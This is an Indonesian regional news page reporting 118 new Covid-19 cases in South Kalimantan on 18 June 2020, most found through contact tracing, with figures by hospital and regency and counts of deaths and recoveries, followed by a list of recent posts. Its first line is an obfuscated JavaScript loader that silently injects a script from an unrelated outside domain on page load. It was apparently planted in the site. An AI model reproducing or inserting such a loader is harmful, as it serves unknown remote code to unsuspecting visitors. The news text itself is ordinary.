(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

118 Kasus Baru Covid-19 di Kalsel Masih Didominasi dari Hasil Tracing


KANALKALIMANTAN.COM, BANJARBARU – Hingga Kamis (18/6/2020) sore, jumlah kasus positif Covid-19 di Kalimantan Selatan tercatat sebanyak 2.326 kasus. Angkat tersebut bertambah sebanyak 118 kasus positif jika dibandingkan hari sebelumnya.

Menurut Juru Bicara Tim Gugus Tugas Percepatan Penanganan (GTPP) Covid-19 Kalsel Muhamad Muslim, dari total 118 kasus baru ini, sebanyak 14 kasus merupakan pasien dalam pengawasan (PDP) yang terkonfirmasi positif Covid-19. Yaitu masing-masing satu kasus dari RSUD Pangeran Jaya Sumitra Kotabaru, RSUD Moch Ansari Saleh Banjarmasin dan RSUD Ratu Zalecha Martapura, tiga kasus di RSUD Ulin Banjarmasin dan 8 kasus di RSD Idaman Banjarbaru.

“Selebihnya sebanyak 104 kasus ini merupakan hasil tracing. Dan terdistribusi dari 13 kasus dari Kotabaru, kemudian 2 kasus dari Kabupaten Tapin, 10 kasus dari Hulu Sungai Tengah, 10 kasus dari Hulu Sungai Utara,” beber Muslim di Banjarbaru, Kamis (18/6/2020) petang.

Disusul sebanyak 23 kasus dari Kabupaten Banjar, 12 kasus dari Kabupaten Balangan, 20 kasus dari Kota Banjarmasin. Selanjutnya, masing-masing 2 kasus dari Kabupaten Tabalong dan Hulu Sungai Selatan, satu kasus dari Kabupaten Barito Kuala, 9 kasus dari Kota Banjarbaru.

“Ada 510 kasus yang dirawat di rumah sakit. Dan ada 1.315 kasus yang saat ini dirawat di dalam karantina secara khusus,” sebut Muslim yang juga Kepala Dinas Kesehatan Provinsi Kalsel ini.

Muslim merincikan, dari 1.315 kasus yang menjalani perawatan dalam karantina khusus, sebanyak 311 kasus menjalani perawatan di karantina khusus Pemprov Kalsel di tiga gedung. Yaitu di Gedung Diklat Ambulung, Gedung BPSDMD Kalsel dan Balai Pelatihan Kesehatan (Bapelkes) Kalsel, yang semuanya berada di Kota Banjarbaru.

Sementara itu, angka kasus kematian akibat Covid-19 juga bertambah sebanyak 7 kasus. Di mana, 7 kasus ini merupakan PDP yang meninggal dunia dan belakangan terkonfirmasi positif Covid-19.

Namun demikian, Muslim memastikan ada 15 kasus positif Covid-19 yang dinyatakan sembuh. Di mana, seluruhnya merupakan pasien positif Covid-19 yang menjalani karantina khusus di beberapa kabupaten di Kalsel.

“15 kasus ini diantaranya 10 kasus dari Kotabaru yang dirawat di dalam karantina khusus, kemudian dua kasus dari Hulu Sungai Tengah yang juga dalam karantina secara khusus,” ucap Muslim.

Disusul sebanyak dua kasus dari Kabupaten Hulu Sungai Selatan. Terakhir, satu kasus yang juga dalam karantina khusus di Kabupaten Banjar. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

1 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

1 jam ago

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

17 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

17 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

17 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

19 jam ago

This website uses cookies.